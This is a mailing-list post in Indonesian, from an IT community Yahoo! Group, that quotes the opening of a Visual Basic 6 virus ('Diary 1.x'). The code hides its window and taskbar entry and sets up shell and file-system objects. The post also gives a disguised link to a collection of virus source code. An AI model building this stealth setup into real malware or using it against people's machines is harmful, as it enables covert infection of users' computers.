Virus kan software yang diprogram, jadi sourcenya ya
sama source bhs program entah dibuat dari apa tuh
virus (PASCAL, VB, Delphi, C/C++, Asmbler....), kalo
sourcenya sih ada dikit:
(Source diambil dari Diary 1.x, VB 6.0)
------CUt here-----
#If Win32 Then
Private Declare Function EnableWindow& Lib "user32"
(ByVal hWnd As Long, ByVal fEnable As Long)
Private Declare Function FindWindow& Lib "user32"
Alias "FindWindowA" (ByVal lpClassName As String,
ByVal lpWindowName As String)
#Else
Private Declare Function EnableWindow% Lib "user"
(ByVal hWnd As Integer, ByVal aBOOL As Integer)
Private Declare Function FindWindow% Lib "user" (ByVal
lpClassName As Any, ByVal lpWindowName As Any)
#End If 'WIN32
Private Const DefaultKeyName1 =
"{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666}"
Private Const DefaultKeyName2 =
"{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999}"
Private Declare Function ExitWindowsEx Lib "user32"
(ByVal uFlags As Long, ByVal dwReserved As Long) As
Long
Private Declare Function GetSystemDirectory Lib
"kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer
As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowText Lib "user32"
Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal
lpString As String, ByVal cch As Long) As Long
Dim desk,desk1 As String
Public fso, sh
Private Sub Form_Load()
'On Error Resume Next
Form1.Visible = False
App.TaskVisible = False
Set fso = CreateObject("scripting.filesystemobject")
Set sh = CreateObject("wscript.shell")
desk = sh.specialfolders("Desktop")
desk1 = Left(desk, Len(desk))
--------Cut Here--------
seperti source program lainnya kan :) hehehhee, kalo
mo belajar ato melihat referensi source code virus yg
lain dapat main ke h++p://www[dot]totallygeek[dot]com/vscdb
The Killer Team
thanks, PusHm0v
#### Great People Prove themselve with ACT, Not Talking Around ####
__________________________________________________
Do You Yahoo!?
Tired of spam? Yahoo! Mail has the best spam protection around
http://mail.yahoo.com
--
www.itcenter.or.id - Komunitas Teknologi Informasi Indonesia
Info, Gabung, Keluar, Mode Kirim : [EMAIL PROTECTED]
:: Hapus bagian yang tidak perlu (footer, dst) saat reply! ::
## Jobs: itcenter.or.id/jobs ## Bursa: itcenter.or.id/bursa ##
$$ Iklan/promosi : www.itcenter.or.id/sponsorship $$
[@@] Jaket ITCENTER tersedia di http://shop.itcenter.or.id
Yahoo! Groups Links
<*> To visit your group on the web, go to:
http://groups.yahoo.com/group/ITCENTER/
<*> Your email settings:
Individual Email | Traditional
<*> To change settings online go to:
http://groups.yahoo.com/group/ITCENTER/join
(Yahoo! ID required)
<*> To change settings via email:
mailto:[EMAIL PROTECTED]
mailto:[EMAIL PROTECTED]
<*> To unsubscribe from this group, send an email to:
[EMAIL PROTECTED]
<*> Your use of Yahoo! Groups is subject to:
http://docs.yahoo.com/info/terms/
